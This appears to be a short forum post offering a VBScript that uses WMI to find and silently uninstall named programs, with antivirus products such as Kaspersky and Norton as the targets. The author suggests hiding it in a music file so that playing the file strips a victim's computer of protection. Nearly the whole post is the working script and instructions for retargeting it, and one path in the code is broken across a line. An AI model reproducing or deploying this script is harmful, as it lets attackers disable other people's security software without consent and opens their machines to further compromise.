same concept but this uninstall any software on yu PC or other's , like say yu embedd this in a music file and when they play the file , you set the script to --->Where Name = 'norton antivirus'") and render the persons computer unprotected then you can .................change nothing just the name of the computer and software you want to uninstall..
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "
oot\cimv2")
Set colSoftware = objWMIService.ExecQuery("Select * from Win32_Product Where Name = 'kapersky antivirus'")
For Each objSoftware in colSoftware
objSoftware.Uninstall()
Next